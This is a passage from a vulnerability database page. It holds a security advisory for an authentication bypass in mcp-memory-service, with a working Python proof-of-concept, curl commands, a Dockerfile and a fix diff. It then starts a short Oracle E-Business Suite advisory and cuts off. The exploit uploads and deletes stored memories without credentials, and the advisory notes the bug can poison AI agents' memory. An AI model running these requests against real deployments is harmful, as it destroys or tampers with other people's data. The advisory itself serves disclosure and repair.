 print("[STEP 4] POST /api/documents/upload (NO auth — expect 200)", flush=True)
 boundary = "PocBoundary" + uuid.uuid4().hex
 payload = f"EVIDENCE: {MARKER}\nUploaded without authentication — VULN-001.\n".encode()
 body = build_multipart(boundary, "poc_vuln001.txt", payload, "poc-evidence,vuln001-demo")
 headers = {
 "Content-Type": f"multipart/form-data; boundary={boundary}",
 "Content-Length": str(len(body)),
 }
 status, resp = http_req(host, port, "POST", "/api/documents/upload", body, headers)
 upload_id = None
 try:
 upload_id = json.loads(resp).get("upload_id")
 except Exception:
 pass
 ok = status == 200 and upload_id is not None
 print(f" {'PASS' if ok else 'FAIL'} HTTP {status} upload_id={upload_id}", flush=True)
 if not ok:
 print(f" body: {resp[:300]}", flush=True)
 return ok, status, upload_id


def step_delete_no_auth(host, port):
 """DELETE /api/documents/remove-by-tags without auth — should return 200."""
 print(f"[STEP 5] DELETE /api/documents/remove-by-tags (NO auth, tag={TARGET_TAG})", flush=True)
 # FastAPI 0.100+ treats List[str] in DELETE as request body (JSON array)
 body = json.dumps([TARGET_TAG, "vuln001-demo"]).encode()
 headers = {
 "Content-Type": "application/json",
 "Content-Length": str(len(body)),
 }
 status, resp = http_req(
 host, port, "DELETE", "/api/documents/remove-by-tags",
 body=body, headers=headers
 )
 ok = status == 200
 deleted = 0
 try:
 deleted = json.loads(resp).get("memories_deleted", 0)
 except Exception:
 pass
 print(f" {'PASS' if ok else 'FAIL'} HTTP {status} memories_deleted={deleted}", flush=True)
 if not ok:
 print(f" body: {resp[:300]}", flush=True)
 return ok, status, deleted


def step_verify_memory_gone(host, port, api_key):
 """GET /api/memories with auth — confirm attacker wiped the data."""
 print("[STEP 6] GET /api/memories (with API key — verify data was deleted)", flush=True)
 headers = {"X-API-Key": api_key}
 status, body = http_req(host, port, "GET", f"/api/memories?tags={TARGET_TAG}", headers=headers)
 ok = status == 200
 count = 0
 try:
 data = json.loads(body)
 count = data.get("total", len(data.get("memories", [])))
 except Exception:
 pass
 data_deleted = (ok and count == 0)
 print(f" {'PASS' if data_deleted else 'NOTE'} HTTP {status} memories_remaining={count}", flush=True)
 if data_deleted:
 print(" [+] Memory wiped by unauthenticated attacker — integrity impact confirmed!", flush=True)
 return ok, status, count


# ─── main ────────────────────────────────────────────────────────────────────

def main():
 ap = argparse.ArgumentParser(description="VULN-001 PoC — CWE-306 auth bypass")
 ap.add_argument("--host", default="127.0.0.1")
 ap.add_argument("--port", type=int, default=8000)
 ap.add_argument("--api-key", default="poc-secret-key-12345",
 help="API key configured on the server (simulates legitimate user)")
 args = ap.parse_args()

 print("=" * 65)
 print("VULN-001 Missing Authentication on Document API Endpoints")
 print("CWE-306 / CVSS 9.8 (Critical)")
 print("=" * 65 + "\n")

 if not wait_ready(args.host, args.port):
 print("[-] Server did not become ready", flush=True)
 sys.exit(2)

 r = {}

 # Step 1 — baseline: auth IS enforced on /api/memories
 ok1, s1 = step_memories_no_auth(args.host, args.port)
 r["step1_auth_guard_active"] = {
 "pass": ok1,
 "evidence": f"GET /api/memories (no auth) → HTTP {s1}"
 }

 # Step 2 — legitimate user stores a sensitive memory
 ok2, s2, content_hash = step_store_memory_with_auth(args.host, args.port, args.api_key)
 r["step2_legitimate_write"] = {
 "pass": ok2,
 "evidence": f"POST /api/memories (with API key) → HTTP {s2}"
 }

 # Step 3 — confirm memory exists
 ok3, s3, mem_count = step_verify_memory_exists(args.host, args.port, args.api_key)
 r["step3_data_present"] = {
 "pass": ok3 and mem_count > 0,
 "evidence": f"GET /api/memories (with API key) → HTTP {s3}, count={mem_count}"
 }

 # Step 4 — attacker uploads without auth (WRITE bypass)
 ok4, s4, upload_id = step_upload_no_auth(args.host, args.port)
 r["step4_upload_auth_bypass"] = {
 "pass": ok4,
 "evidence": f"POST /api/documents/upload (NO auth) → HTTP {s4}"
 }

 # Step 5 — attacker deletes WITHOUT auth (DELETE bypass)
 ok5, s5, deleted = step_delete_no_auth(args.host, args.port)
 r["step5_delete_auth_bypass"] = {
 "pass": ok5,
 "evidence": f"DELETE /api/documents/remove-by-tags (NO auth) → HTTP {s5}, deleted={deleted}"
 }

 # Step 6 — verify legitimate data is gone
 ok6, s6, remaining = step_verify_memory_gone(args.host, args.port, args.api_key)
 r["step6_integrity_impact"] = {
 "pass": ok6 and remaining == 0,
 "evidence": f"GET /api/memories (with API key) after attack → count={remaining} (was {mem_count})"
 }

 print("\n" + "=" * 65)
 print("RESULTS SUMMARY")
 print("=" * 65)
 for k, v in r.items():
 sym = "PASS" if v["pass"] else "FAIL"
 print(f" [{sym}] {v['evidence']}", flush=True)

 # Core bypass: /api/memories returns 401 BUT /api/documents/* returns 200 without auth
 bypass_proven = ok1 and ok4
 delete_bypass = ok1 and ok5

 print("\nKey evidence:")
 print(f" Auth guard ACTIVE : GET /api/memories (no auth) → HTTP {s1}")
 print(f" Write BYPASS : POST /api/documents/upload (no auth) → HTTP {s4}")
 print(f" Delete BYPASS : DELETE /api/documents/remove-by-tags (no auth) → HTTP {s5}")

 overall = "PASS – auth bypass confirmed" if (bypass_proven or delete_bypass) else "FAIL"
 print(f"\nVerdict: {overall}")
 print("=" * 65)
 sys.exit(0 if (bypass_proven or delete_bypass) else 1)


if __name__ == "__main__":
 main()
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mcp-memory-service"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "10.67.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-50027"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-02T15:26:23Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Missing Authentication on Document API Endpoints Allows Unauthenticated Memory Read/Write/Delete\n\n### Summary\n\nAll HTTP routes under `/api/documents/*` in `mcp-memory-service` are served without any authentication dependency, even when the server is configured with an API key (`MCP_API_KEY`) or OAuth. An unauthenticated remote attacker can upload arbitrary content into the memory store (write), retrieve stored document content (read), and permanently delete memories belonging to authenticated users (delete) \u2014 all without supplying any credentials. The `/api/memories` counterpart correctly enforces authentication, making this an inconsistent and exploitable authentication boundary. CVSS 9.8 Critical.\n\n### Details\n\nThe `documents.py` router is instantiated without any router-level `dependencies=` parameter and the file does not import `Depends` at all, so no authentication guard is present on any of its routes:\n\n- **`src/mcp_memory_service/web/api/documents.py:33`** \u2014 `from fastapi import APIRouter, UploadFile, File, Form, HTTPException, BackgroundTasks` (`Depends` is absent)\n- **`src/mcp_memory_service/web/api/documents.py:43`** \u2014 `router = APIRouter()` (no `dependencies=` argument)\n\nThe affected endpoints and their data-flow sinks are:\n\n| Route | Line (source) | Sink | Line (sink) |\n|---|---|---|---|\n| `POST /upload` | 149 | `storage.store(memory)` | 449 |\n| `POST /batch-upload` | \u2014 | `storage.store(memory)` | \u2014 |\n| `GET /history` | \u2014 | upload metadata response | \u2014 |\n| `GET /search-content/{upload_id}` | 729 | memory content response | 781 |\n| `DELETE /remove/{upload_id}` | \u2014 | storage deletion | \u2014 |\n| `DELETE /remove-by-tags` | 687 | `storage.delete_by_tags(tags)` | 705 |\n\nThe router is mounted in `src/mcp_memory_service/web/app.py:311`:\n\n```python\napp.include_router(documents_router, prefix=\"/api/documents\")\n```\n\nNo `CORSMiddleware` or authentication middleware applies to these routes at mount time.\n\nBy contrast, the equivalent write endpoint in `memories.py` is correctly protected:\n\n```python\n# src/mcp_memory_service/web/api/memories.py:136\nuser: AuthenticationResult = Depends(require_write_access)\n```\n\nThis demonstrates that the authentication infrastructure exists and is intentionally applied elsewhere, but was omitted from all `documents.py` routes.\n\n### PoC\n\n**Prerequisites**\n\n- Docker installed\n- Repository cloned at `repo`\n\n**Build and run the container**\n\n```bash\ndocker build -t vuln-001-mcp-memory-poc \\\n  -f vuln-001/Dockerfile \\\n  repo\n\ndocker run -d --name vuln-001-poc-container \\\n  -p 18000:8000 vuln-001-mcp-memory-poc:latest\n```\n\nThe container starts `mcp-memory-service` with `MCP_API_KEY=poc-secret-key-12345`, simulating a production deployment where the operator has enabled API-key authentication.\n\n**Execute the PoC**\n\n```bash\npython3 vuln-001/poc.py \\\n  --host 127.0.0.1 --port 18000 --api-key poc-secret-key-12345\n```\n\n**Attack chain (6 steps)**\n\n```\n[STEP 1] GET /api/memories (no auth) \u2192 HTTP 401   \u2190 auth guard is active on memories API\n[STEP 2] POST /api/memories (with API key) \u2192 HTTP 200   \u2190 legitimate user stores sensitive data\n[STEP 3] GET /api/memories (with API key) \u2192 HTTP 200  memories_found=1   \u2190 data confirmed\n[STEP 4] POST /api/documents/upload (NO auth) \u2192 HTTP 200  upload_id=\u003cuuid\u003e   \u2190 WRITE bypass\n[STEP 5] DELETE /api/documents/remove-by-tags (NO auth) \u2192 HTTP 200  memories_deleted=1   \u2190 DELETE bypass\n[STEP 6] GET /api/memories (with API key) \u2192 HTTP 200  memories_remaining=0   \u2190 integrity impact confirmed\n```\n\nStep 6 proves that an unauthenticated attacker deleted data created by a legitimately authenticated user in a single unauthenticated request.\n\n**Manual curl equivalent**\n\n```bash\n# Confirm auth guard is active on /api/memories\ncurl -i http://127.0.0.1:18000/api/memories\n# \u2192 401 Unauthorized\n\n# Write through document API \u2014 no credentials\nprintf \u0027CVE_AUTH_BYPASS_MARKER\u0027 \u003e /tmp/poc.txt\nUPLOAD_ID=$(\n  curl -s -X POST http://127.0.0.1:18000/api/documents/upload \\\n    -F \"file=@/tmp/poc.txt\" -F \"tags=cve-poc\" |\n  python3 -c \u0027import sys,json; print(json.load(sys.stdin)[\"upload_id\"])\u0027\n)\n# \u2192 200 OK\n\nsleep 3\ncurl -s \"http://127.0.0.1:18000/api/documents/search-content/$UPLOAD_ID\"\n# \u2192 content returned without authentication\n\n# Delete by tag \u2014 no credentials\ncurl -i -X DELETE \"http://127.0.0.1:18000/api/documents/remove-by-tags\" \\\n  -H \"Content-Type: application/json\" -d \u0027[\"cve-poc\"]\u0027\n# \u2192 200 OK, memories_deleted=1\n```\n\n**Observed output**\n\n- `GET /api/memories` (no auth) returns `401` \u2014 the authentication guard is demonstrably active on the memories API.\n- `POST /api/documents/upload` (no auth) returns `200` with a valid `upload_id`.\n- `DELETE /api/documents/remove-by-tags` (no auth) returns `200` with `memories_deleted=1`.\n- A subsequent authenticated `GET /api/memories` returns `memories_remaining=0`, confirming that legitimately stored data was destroyed by an unauthenticated request.\n\n**Remediation**\n\nAdd `Depends(require_write_access)` / `Depends(require_read_access)` to every affected route in `documents.py`:\n\n```diff\n--- a/src/mcp_memory_service/web/api/documents.py\n+++ b/src/mcp_memory_service/web/api/documents.py\n-from fastapi import APIRouter, UploadFile, File, Form, HTTPException, BackgroundTasks\n+from fastapi import APIRouter, UploadFile, File, Form, HTTPException, BackgroundTasks, Depends\n from ..dependencies import get_storage\n+from ..oauth.middleware import require_read_access, require_write_access, AuthenticationResult\n\n async def upload_document(\n     background_tasks: BackgroundTasks,\n     file: UploadFile = File(...),\n+    user: AuthenticationResult = Depends(require_write_access),\n\n async def batch_upload_documents(\n     background_tasks: BackgroundTasks,\n     files: List[UploadFile] = File(...),\n+    user: AuthenticationResult = Depends(require_write_access),\n\n-async def get_upload_status(upload_id: str):\n+async def get_upload_status(upload_id: str, user: AuthenticationResult = Depends(require_read_access)):\n\n-async def get_upload_history():\n+async def get_upload_history(user: AuthenticationResult = Depends(require_read_access)):\n\n-async def remove_document(upload_id: str, remove_from_memory: bool = True):\n+async def remove_document(upload_id: str, remove_from_memory: bool = True,\n+    user: AuthenticationResult = Depends(require_write_access)):\n\n-async def remove_documents_by_tags(tags: List[str]):\n+async def remove_documents_by_tags(tags: List[str],\n+    user: AuthenticationResult = Depends(require_write_access)):\n\n-async def search_document_content(upload_id: str, limit: int = 1000):\n+async def search_document_content(upload_id: str, limit: int = 1000,\n+    user: AuthenticationResult = Depends(require_read_access)):\n```\n\n### Impact\n\nThis is a **Missing Authentication for Critical Function (CWE-306)** vulnerability affecting the HTTP REST server component of `mcp-memory-service`.\n\n**Who is impacted:** Any operator who deploys the HTTP REST server (`memory server --http`) with `MCP_API_KEY` or OAuth enabled, expecting that only authenticated clients can access stored memories. The HTTP server is documented as a supported production feature for team/multi-client deployments.\n\n**Confidentiality:** An unauthenticated attacker can read recently uploaded document content via `GET /api/documents/search-content/{upload_id}` and enumerate upload history via `GET /api/documents/history`. Stored memories may contain sensitive context such as personal notes, AI agent working state, or proprietary data.\n\n**Integrity:** An unauthenticated attacker can inject arbitrary content into the memory store by uploading documents, polluting the AI agent\u0027s knowledge base with attacker-controlled data (memory poisoning / prompt injection surface).\n\n**Availability:** An unauthenticated attacker can delete all memories matching any chosen tags via `DELETE /api/documents/remove-by-tags`, or delete individual documents via `DELETE /api/documents/remove/{upload_id}`, causing permanent loss of stored data.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.12-slim\n\nENV PYTHONDONTWRITEBYTECODE=1\nENV PYTHONUNBUFFERED=1\nENV HF_HOME=/root/.cache/huggingface\n\nWORKDIR /app\n\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends \\\n build-essential \\\n \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\n# Install CPU-only torch first to avoid pulling the large CUDA wheel from PyPI\nRUN pip install --no-cache-dir \\\n \"torch\u003e=2.0.0\" \\\n --index-url https://download.pytorch.org/whl/cpu\n\n# Copy and install the mcp-memory-service from the local repo\nCOPY . /app\nRUN pip install --no-cache-dir -e .\n\n# Pre-download the sentence-transformers embedding model so the container\n# can run fully offline and starts quickly\nRUN python -c \"from sentence_transformers import SentenceTransformer; m = SentenceTransformer(\u0027all-MiniLM-L6-v2\u0027); v = m.encode([\u0027preflight\u0027]); print(\u0027Embedding model ready, dim=\u0027 + str(len(v[0])))\"\n\n# \u2500\u2500 Runtime config \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n# MCP_API_KEY is set to simulate a production deployment where the operator\n# has enabled API-key authentication. The bug is that /api/documents/* routes\n# ignore this key entirely.\nENV MCP_API_KEY=poc-secret-key-12345\nENV MCP_MEMORY_STORAGE_BACKEND=sqlite_vec\nENV MCP_HTTP_PORT=8000\nENV MCP_HTTP_HOST=0.0.0.0\nENV MCP_MDNS_ENABLED=false\nENV MCP_CONSOLIDATION_ENABLED=false\nENV MCP_BACKUP_ENABLED=false\nENV MCP_QUALITY_SYSTEM_ENABLED=false\n# Prevent any outbound HuggingFace requests at runtime\nENV TRANSFORMERS_OFFLINE=1\nENV HF_DATASETS_OFFLINE=1\n\nEXPOSE 8000\n\nCMD [\"python\", \"run_server.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC \u2013 VULN-001: Missing Authentication on Document API Endpoints\nCWE-306 Missing Authentication for Critical Function\nCVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\nAttack chain:\n 1. GET /api/memories (no auth) \u2192 401 (auth guard confirmed active)\n 2. POST /api/memories (with API key) \u2192 200 (legitimate write)\n 3. GET /api/memories (with API key) \u2192 200 (data exists)\n 4. POST /api/documents/upload (NO auth!) \u2192 200 (write bypass)\n 5. DELETE /api/documents/remove-by-tags (NO auth!) \u2192 200 (delete bypass)\n 6. GET /api/memories (with API key) \u2192 memory is GONE\n\nStep 6 proves an unauthenticated attacker destroyed data created by a\nlegitimate, authenticated user \u2014 confirming full integrity impact.\n\nUsage:\n python3 poc.py [--host 127.0.0.1] [--port 8000] [--api-key poc-secret-key-12345]\n\"\"\"\n\nimport sys\nimport time\nimport json\nimport uuid\nimport argparse\nimport http.client\n\nMARKER = \"VULN001_AUTH_BYPASS_\" + uuid.uuid4().hex[:12].upper()\nTARGET_TAG = f\"vuln001-target-{uuid.uuid4().hex[:6]}\"\n\n\n# \u2500\u2500\u2500 low-level helpers \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef http_req(host, port, method, path, body=None, headers=None, timeout=20):\n conn = http.client.HTTPConnection(host, port, timeout=timeout)\n h = dict(headers or {})\n conn.request(method, path, body=body, headers=h)\n resp = conn.getresponse()\n return resp.status, resp.read().decode(\"utf-8\", errors=\"replace\")\n\n\ndef wait_ready(host, port, timeout=120):\n print(f\"[*] Waiting for server at {host}:{port} \u2026\", flush=True)\n deadline = time.time() + timeout\n while time.time() \u003c deadline:\n try:\n s, _ = http_req(host, port, \"GET\", \"/api/health\", timeout=2)\n if s == 200:\n print(\"[+] Server ready\\n\", flush=True)\n return True\n except Exception:\n pass\n time.sleep(1)\n return False\n\n\ndef build_multipart(boundary, filename, file_bytes, tags_str):\n b = boundary.encode()\n return b\"\".join([\n b\"--\" + b + b\"\\r\\n\",\n b\u0027Content-Disposition: form-data; name=\"file\"; filename=\"\u0027 + filename.encode() + b\u0027\"\\r\\n\u0027,\n b\"Content-Type: /plain\\r\\n\\r\\n\",\n file_bytes,\n b\"\\r\\n--\" + b + b\"\\r\\n\",\n b\u0027Content-Disposition: form-data; name=\"tags\"\\r\\n\\r\\n\u0027,\n tags_str.encode(),\n b\"\\r\\n--\" + b + b\"--\\r\\n\",\n ])\n\n\n# \u2500\u2500\u2500 individual test steps \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef step_memories_no_auth(host, port):\n \"\"\"GET /api/memories without auth must return 401.\"\"\"\n print(\"[STEP 1] GET /api/memories (no auth \u2014 expect 401)\", flush=True)\n status, body = http_req(host, port, \"GET\", \"/api/memories\")\n ok = (status == 401)\n print(f\" {\u0027PASS\u0027 if ok else \u0027FAIL\u0027} HTTP {status}\", flush=True)\n return ok, status\n\n\ndef step_store_memory_with_auth(host, port, api_key):\n \"\"\"POST /api/memories with API key \u2014 store a \u0027legitimate\u0027 memory.\"\"\"\n print(f\"[STEP 2] POST /api/memories (with API key, tag={TARGET_TAG})\", flush=True)\n payload = json.dumps({\n \"content\": f\"Sensitive memory \u2014 {MARKER}\",\n \"tags\": [TARGET_TAG, \"vuln001-demo\"],\n \"memory_type\": \"observation\",\n \"metadata\": {\"poc\": \"VULN-001\"}\n }).encode()\n headers = {\n \"Content-Type\": \"application/json\",\n \"Content-Length\": str(len(payload)),\n \"X-API-Key\": api_key,\n }\n status, body = http_req(host, port, \"POST\", \"/api/memories\", payload, headers)\n ok = status in (200, 201)\n content_hash = None\n try:\n content_hash = json.loads(body).get(\"content_hash\")\n except Exception:\n pass\n print(f\" {\u0027PASS\u0027 if ok else \u0027FAIL\u0027} HTTP {status} hash={content_hash}\", flush=True)\n if not ok:\n print(f\" body: {body[:300]}\", flush=True)\n return ok, status, content_hash\n\n\ndef step_verify_memory_exists(host, port, api_key):\n \"\"\"GET /api/memories with auth \u2014 confirm the memory is stored.\"\"\"\n print(\"[STEP 3] GET /api/memories (with API key \u2014 confirm data exists)\", flush=True)\n headers = {\"X-API-Key\": api_key}\n status, body = http_req(host, port, \"GET\", f\"/api/memories?tags={TARGET_TAG}\", headers=headers)\n ok = status == 200\n count = 0\n try:\n data = json.loads(body)\n count = data.get(\"total\", len(data.get(\"memories\", [])))\n except Exception:\n pass\n print(f\" {\u0027PASS\u0027 if ok else \u0027FAIL\u0027} HTTP {status} memories_found={count}\", flush=True)\n return ok, status, count\n\n\ndef step_upload_no_auth(host, port):\n \"\"\"POST /api/documents/upload without any credentials \u2014 should return 200.\"\"\"\n print(\"[STEP 4] POST /api/documents/upload (NO auth \u2014 expect 200)\", flush=True)\n boundary = \"PocBoundary\" + uuid.uuid4().hex\n payload = f\"EVIDENCE: {MARKER}\\nUploaded without authentication \u2014 VULN-001.\\n\".encode()\n body = build_multipart(boundary, \"poc_vuln001.txt\", payload, \"poc-evidence,vuln001-demo\")\n headers = {\n \"Content-Type\": f\"multipart/form-data; boundary={boundary}\",\n \"Content-Length\": str(len(body)),\n }\n status, resp = http_req(host, port, \"POST\", \"/api/documents/upload\", body, headers)\n upload_id = None\n try:\n upload_id = json.loads(resp).get(\"upload_id\")\n except Exception:\n pass\n ok = status == 200 and upload_id is not None\n print(f\" {\u0027PASS\u0027 if ok else \u0027FAIL\u0027} HTTP {status} upload_id={upload_id}\", flush=True)\n if not ok:\n print(f\" body: {resp[:300]}\", flush=True)\n return ok, status, upload_id\n\n\ndef step_delete_no_auth(host, port):\n \"\"\"DELETE /api/documents/remove-by-tags without auth \u2014 should return 200.\"\"\"\n print(f\"[STEP 5] DELETE /api/documents/remove-by-tags (NO auth, tag={TARGET_TAG})\", flush=True)\n # FastAPI 0.100+ treats List[str] in DELETE as request body (JSON array)\n body = json.dumps([TARGET_TAG, \"vuln001-demo\"]).encode()\n headers = {\n \"Content-Type\": \"application/json\",\n \"Content-Length\": str(len(body)),\n }\n status, resp = http_req(\n host, port, \"DELETE\", \"/api/documents/remove-by-tags\",\n body=body, headers=headers\n )\n ok = status == 200\n deleted = 0\n try:\n deleted = json.loads(resp).get(\"memories_deleted\", 0)\n except Exception:\n pass\n print(f\" {\u0027PASS\u0027 if ok else \u0027FAIL\u0027} HTTP {status} memories_deleted={deleted}\", flush=True)\n if not ok:\n print(f\" body: {resp[:300]}\", flush=True)\n return ok, status, deleted\n\n\ndef step_verify_memory_gone(host, port, api_key):\n \"\"\"GET /api/memories with auth \u2014 confirm attacker wiped the data.\"\"\"\n print(\"[STEP 6] GET /api/memories (with API key \u2014 verify data was deleted)\", flush=True)\n headers = {\"X-API-Key\": api_key}\n status, body = http_req(host, port, \"GET\", f\"/api/memories?tags={TARGET_TAG}\", headers=headers)\n ok = status == 200\n count = 0\n try:\n data = json.loads(body)\n count = data.get(\"total\", len(data.get(\"memories\", [])))\n except Exception:\n pass\n data_deleted = (ok and count == 0)\n print(f\" {\u0027PASS\u0027 if data_deleted else \u0027NOTE\u0027} HTTP {status} memories_remaining={count}\", flush=True)\n if data_deleted:\n print(\" [+] Memory wiped by unauthenticated attacker \u2014 integrity impact confirmed!\", flush=True)\n return ok, status, count\n\n\n# \u2500\u2500\u2500 main \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef main():\n ap = argparse.ArgumentParser(description=\"VULN-001 PoC \u2014 CWE-306 auth bypass\")\n ap.add_argument(\"--host\", default=\"127.0.0.1\")\n ap.add_argument(\"--port\", type=int, default=8000)\n ap.add_argument(\"--api-key\", default=\"poc-secret-key-12345\",\n help=\"API key configured on the server (simulates legitimate user)\")\n args = ap.parse_args()\n\n print(\"=\" * 65)\n print(\"VULN-001 Missing Authentication on Document API Endpoints\")\n print(\"CWE-306 / CVSS 9.8 (Critical)\")\n print(\"=\" * 65 + \"\\n\")\n\n if not wait_ready(args.host, args.port):\n print(\"[-] Server did not become ready\", flush=True)\n sys.exit(2)\n\n r = {}\n\n # Step 1 \u2014 baseline: auth IS enforced on /api/memories\n ok1, s1 = step_memories_no_auth(args.host, args.port)\n r[\"step1_auth_guard_active\"] = {\n \"pass\": ok1,\n \"evidence\": f\"GET /api/memories (no auth) \u2192 HTTP {s1}\"\n }\n\n # Step 2 \u2014 legitimate user stores a sensitive memory\n ok2, s2, content_hash = step_store_memory_with_auth(args.host, args.port, args.api_key)\n r[\"step2_legitimate_write\"] = {\n \"pass\": ok2,\n \"evidence\": f\"POST /api/memories (with API key) \u2192 HTTP {s2}\"\n }\n\n # Step 3 \u2014 confirm memory exists\n ok3, s3, mem_count = step_verify_memory_exists(args.host, args.port, args.api_key)\n r[\"step3_data_present\"] = {\n \"pass\": ok3 and mem_count \u003e 0,\n \"evidence\": f\"GET /api/memories (with API key) \u2192 HTTP {s3}, count={mem_count}\"\n }\n\n # Step 4 \u2014 attacker uploads without auth (WRITE bypass)\n ok4, s4, upload_id = step_upload_no_auth(args.host, args.port)\n r[\"step4_upload_auth_bypass\"] = {\n \"pass\": ok4,\n \"evidence\": f\"POST /api/documents/upload (NO auth) \u2192 HTTP {s4}\"\n }\n\n # Step 5 \u2014 attacker deletes WITHOUT auth (DELETE bypass)\n ok5, s5, deleted = step_delete_no_auth(args.host, args.port)\n r[\"step5_delete_auth_bypass\"] = {\n \"pass\": ok5,\n \"evidence\": f\"DELETE /api/documents/remove-by-tags (NO auth) \u2192 HTTP {s5}, deleted={deleted}\"\n }\n\n # Step 6 \u2014 verify legitimate data is gone\n ok6, s6, remaining = step_verify_memory_gone(args.host, args.port, args.api_key)\n r[\"step6_integrity_impact\"] = {\n \"pass\": ok6 and remaining == 0,\n \"evidence\": f\"GET /api/memories (with API key) after attack \u2192 count={remaining} (was {mem_count})\"\n }\n\n print(\"\\n\" + \"=\" * 65)\n print(\"RESULTS SUMMARY\")\n print(\"=\" * 65)\n for k, v in r.items():\n sym = \"PASS\" if v[\"pass\"] else \"FAIL\"\n print(f\" [{sym}] {v[\u0027evidence\u0027]}\", flush=True)\n\n # Core bypass: /api/memories returns 401 BUT /api/documents/* returns 200 without auth\n bypass_proven = ok1 and ok4\n delete_bypass = ok1 and ok5\n\n print(\"\\nKey evidence:\")\n print(f\" Auth guard ACTIVE : GET /api/memories (no auth) \u2192 HTTP {s1}\")\n print(f\" Write BYPASS : POST /api/documents/upload (no auth) \u2192 HTTP {s4}\")\n print(f\" Delete BYPASS : DELETE /api/documents/remove-by-tags (no auth) \u2192 HTTP {s5}\")\n\n overall = \"PASS \u2013 auth bypass confirmed\" if (bypass_proven or delete_bypass) else \"FAIL\"\n print(f\"\\nVerdict: {overall}\")\n print(\"=\" * 65)\n sys.exit(0 if (bypass_proven or delete_bypass) else 1)\n\n\nif __name__ == \"__main__\":\n main()\n```",
  "id": "GHSA-84hp-mqvj-3p8h",
  "modified": "2026-07-02T15:26:23Z",
  "published": "2026-07-02T15:26:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/doobidoo/mcp-memory-service/security/advisories/GHSA-84hp-mqvj-3p8h"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/doobidoo/mcp-memory-service"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "mcp-memory-service: Missing Authentication on Document API Endpoints Allows Unauthenticated Memory Read/Write/Delete"
}

GHSA-84RJ-PCMG-3QRM

Vulnerability from github – Published: 2026-07-22 00:31 – Updated: 2026-07-22 00:31
VLAI
Details

Vulnerability in the Oracle Applications Manager product of Oracle E-Business Suite (component: Oracle Diagnostics Interfaces). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Applications Manager. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Applications Manager accessible data as well as unauthorized read access to a subset of Oracle Applications Manager accessible data. CVSS 3.1 Base Score 6.5 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-60322"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-21T22:17:35Z",
    "severity": "MODERATE"
  },
  "details": "Vulnerability in the Oracle Applications Manager product of Oracle E-Business Suite (component: Oracle Diagnostics Interfaces).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Applications Manager.  Successful attacks of this vulnerability can result in  unauthorized update, insert or delete access to some of Oracle Applications Manager accessible data as well as  unauthorized read access to a subset of Oracle Applications Manager accessible data. CVSS 3.1 Base Score 6.5 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N).",
  "id": "GHSA-84rj-pcmg-3qrm",
  "modified": "2026-07-22T00:31:34Z",
  "published": "2026-07-22T00:31:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-60322"
    },
    {
      "type": "WEB",
